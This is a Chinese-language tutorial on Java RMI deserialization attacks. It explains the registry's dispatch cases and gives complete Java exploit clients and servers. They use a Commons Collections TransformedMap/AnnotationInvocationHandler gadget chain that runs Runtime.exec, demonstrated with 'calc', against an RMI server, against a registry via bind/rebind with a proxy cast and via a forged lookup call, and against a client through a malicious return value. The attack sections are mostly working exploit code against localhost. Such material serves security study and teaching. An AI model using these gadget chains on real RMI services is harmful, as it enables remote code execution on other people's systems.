0x01 RMI反序列化攻击
RMI交互方式
在RMI过程中,常常会涉及到以下5个交互方式,这几种方法位于RegistryImpl_Skel.dispatch()
中,每种方式对应的case如下
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
list
该方法用来列出Registry上绑定的远程对象
但是没有**readObject()**,所以无法利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { if (var4 != 4905912898345647071L) { throw new SkeletonMismatchException("interface hash mismatch"); } else { RegistryImpl var6 = (RegistryImpl)var1; String var7; Remote var8; ObjectInput var10; ObjectInput var11; switch (var3) { case 1: var2.releaseInputStream(); String[] var97 = var6.list(); try { ObjectOutput var98 = var2.getResultStream(true); var98.writeObject(var97); break; } catch (IOException var92) { throw new MarshalException("error marshalling return", var92); } } } }
|
lookup
该方法用于获取Registry上的一个远程对象
存在readObject(),不过必须为String类,不能直接利用,但是可以伪造请求连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { if (var4 != 4905912898345647071L) { throw new SkeletonMismatchException("interface hash mismatch"); } else { RegistryImpl var6 = (RegistryImpl)var1; String var7; Remote var8; ObjectInput var10; ObjectInput var11; switch (var3) { case 2: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var89) { throw new UnmarshalException("error unmarshalling arguments", var89); } catch (ClassNotFoundException var90) { throw new UnmarshalException("error unmarshalling arguments", var90); } finally { var2.releaseInputStream(); } var8 = var6.lookup(var7); try { ObjectOutput var9 = var2.getResultStream(true); var9.writeObject(var8); break; } catch (IOException var88) { throw new MarshalException("error marshalling return", var88); } } } }
|
bind
该方法用来在Registry上绑定一个远程对象
存在readObject(),且需要为String和Remote类对象,所以我们可以将Object强转为Remote类型来利用
如果在服务端安装了存在反序列化漏洞的相关组件,那么我们就有机会利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { if (var4 != 4905912898345647071L) { throw new SkeletonMismatchException("interface hash mismatch"); } else { RegistryImpl var6 = (RegistryImpl)var1; String var7; Remote var8; ObjectInput var10; ObjectInput var11; switch (var3) { case 0: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var94) { throw new UnmarshalException("error unmarshalling arguments", var94); } catch (ClassNotFoundException var95) { throw new UnmarshalException("error unmarshalling arguments", var95); } finally { var2.releaseInputStream(); } var6.bind(var7, var8); try { var2.getResultStream(true); break; } catch (IOException var93) { throw new MarshalException("error marshalling return", var93); } } } }
|
rebind
与bind方法类似
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { if (var4 != 4905912898345647071L) { throw new SkeletonMismatchException("interface hash mismatch"); } else { RegistryImpl var6 = (RegistryImpl)var1; String var7; Remote var8; ObjectInput var10; ObjectInput var11; switch (var3) { case 3: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var85) { throw new UnmarshalException("error unmarshalling arguments", var85); } catch (ClassNotFoundException var86) { throw new UnmarshalException("error unmarshalling arguments", var86); } finally { var2.releaseInputStream(); } var6.rebind(var7, var8); try { var2.getResultStream(true); break; } catch (IOException var84) { throw new MarshalException("error marshalling return", var84); } } } }
|
unbind
与lookup方法类似
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception { if (var4 != 4905912898345647071L) { throw new SkeletonMismatchException("interface hash mismatch"); } else { RegistryImpl var6 = (RegistryImpl)var1; String var7; Remote var8; ObjectInput var10; ObjectInput var11; switch (var3) { case 4: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var81) { throw new UnmarshalException("error unmarshalling arguments", var81); } catch (ClassNotFoundException var82) { throw new UnmarshalException("error unmarshalling arguments", var82); } finally { var2.releaseInputStream(); } var6.unbind(var7); try { var2.getResultStream(true); break; } catch (IOException var80) { throw new MarshalException("error marshalling return", var80); } default: throw new UnmarshalException("invalid method number"); } } }
|
攻击方式
存在的攻击方式有一下三种
0x02 攻击利用
攻击Server端
首先,Client会去获取Server端创建的Stub,然后在本地调用这个Stub并传递参数
然后Stub会序列化这个参数再传递给Server端,Server端会反序列化这个参数再调用
如果此时的Client传递的参数是个Object类型的恶意对象参数
而且此时的Server存在有漏洞的组件,那么就有可能会造成反序列化漏洞
利用条件
- Server端存在接收Object对象的远程对象方法
- Server端存在有反序列化漏洞的组件
服务端
1 2 3 4
| public interface ICalc extends Remote { public void ICalc(Object o) throws Exception; }
|
1 2 3 4 5 6 7 8 9 10
| public class ICalcImpl extends UnicastRemoteObject implements ICalc{ protected ICalcImpl() throws RemoteException{ super(); }
@Override public void ICalc(Object o) throws Exception { System.out.println("success"); } }
|
1 2 3 4 5 6 7 8 9 10 11 12
| public class RMIServer { private void register() throws Exception{ ICalcImpl iCalc = new ICalcImpl(); LocateRegistry.createRegistry(1099); Naming.bind("rmi://127.0.0.1:1099/calc",iCalc); System.out.println("Registry运行中......"); }
public static void main(String[] args) throws Exception{ new RMIServer().register(); } }
|
客户端
1 2 3 4
| public interface ICalc extends Remote { public void ICalc(Object o) throws Exception; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public class RMIClient { public void lookup() throws Exception{ ICalc iCalc = (ICalc) Naming.lookup("rmi://127.0.0.1:1099/calc"); iCalc.ICalc(Exploit()); }
public static Object Exploit() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value","test");
Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o = annotationInvocationHandlerConstructor.newInstance(Retention.class, transformedMp); return o; }
public static void main(String[] args) throws Exception{ new RMIClient().lookup(); }
}
|
运行结果
成功弹出计算器
1 2 3
| Registry运行中...... success
|
攻击registry端
其实攻击的还是与Registry交互的几种方式
调用bind/rebind攻击
由前面我们可以知道,当调用bind/rebind时,会调用readObject读出参数名和远程对象,所以就有机会可以利用
不过由于只能接收String和Remote类型,而我们生成的恶意类是Object类型的
所以我们需要使用动态代理将Object强转为Remote类型的参数
这里需要用到**Remote.class.cast()**这个方法,主要用于将一个对象强制转换为指定类或接口的类型
1 2 3 4 5
| public T cast(Object obj) { if (obj != null && !isInstance(obj)) throw new ClassCastException(cannotCastMsg(obj)); return (T) obj; }
|
RMIClient
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| public class RMIClient { public void lookup() throws Exception{ Registry registry= LocateRegistry.getRegistry("127.0.0.1",1099); registry.bind("Exploit", (Remote) Exploit()); }
public static Object Exploit() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value","test");
Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Retention.class, transformedMp); Object RemoteProxy = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, o); Remote cast = Remote.class.cast(RemoteProxy);
return cast; }
public static void main(String[] args) throws Exception{ new RMI_Client().lookup(); }
}
|
调用lookup/unbind攻击
和bind/rebind不同的是,lookup/unbind只能接收String类型的参数
所以我们只能通过重写代码伪造连接请求,使其可以传入对象
以lookup为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { try { RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L); try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var18) { throw new MarshalException("error marshalling arguments", var18); } super.ref.invoke(var2); Remote var23; try { ObjectInput var6 = var2.getInputStream(); var23 = (Remote)var6.readObject(); } } }
|
伪造lookup方法,模拟通信过程,并传入恶意信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| public class RMIClient2 { public void lookup() throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Field refDeclareFiled = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref"); refDeclareFiled.setAccessible(true); UnicastRef ref = (UnicastRef) refDeclareFiled.get(registry);
Field operationsDeclaredField = registry.getClass().getDeclaredField("operations"); operationsDeclaredField.setAccessible(true); Operation[] operations = (Operation[]) operationsDeclaredField.get(registry);
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(Exploit()); ref.invoke(var2);
} public static Object Exploit() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value","test");
Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Retention.class, transformedMp); Object RemoteProxy = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, o); Remote cast = Remote.class.cast(RemoteProxy);
return cast; }
public static void main(String[] args) throws Exception{ new RMIClient2().lookup(); } }
|
攻击Client端
Server攻击Client
在rmi通信过程中,Server会把远程方法执行的结果返回给Client,如果返回的是一个对象,那么就会先序列化这个对象,在传递给Client,并且在Client反序列化
如果返回恶意对象,就有机会达成攻击
1 2 3 4 5
| public interface ICalc extends Remote {
public Object ICalc() throws Exception; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public class ICalcImpl extends UnicastRemoteObject implements ICalc{
protected ICalcImpl() throws RemoteException { }
@Override public Object ICalc() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value","test");
Map<Object,Object> transformedMp = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object h = annotationInvocationHandlerConstructor.newInstance(Retention.class, transformedMp);
return h; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class RMIServer { private void register() throws Exception{ ICalcImpl iCalc = new ICalcImpl(); LocateRegistry.createRegistry(1099); Naming.bind("rmi://127.0.0.1:1099/calc",iCalc); System.out.println("Registry运行中......");
}
public static void main(String[] args) throws Exception{ new RMI_Server().register(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class RMI_Client { public void lookup() throws Exception{ Registry registry= LocateRegistry.getRegistry("127.0.0.1",1099); ICalc iCalc = (ICalc) registry.lookup("calc");
iCalc.ICalc(); }
public static void main(String[] args) throws Exception{ new RMI_Client().lookup(); }
}
|
Registry攻击Client
在Registry中,除了unbind和rebind都会返回数据给客户端,返回的数据是序列化形式
那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击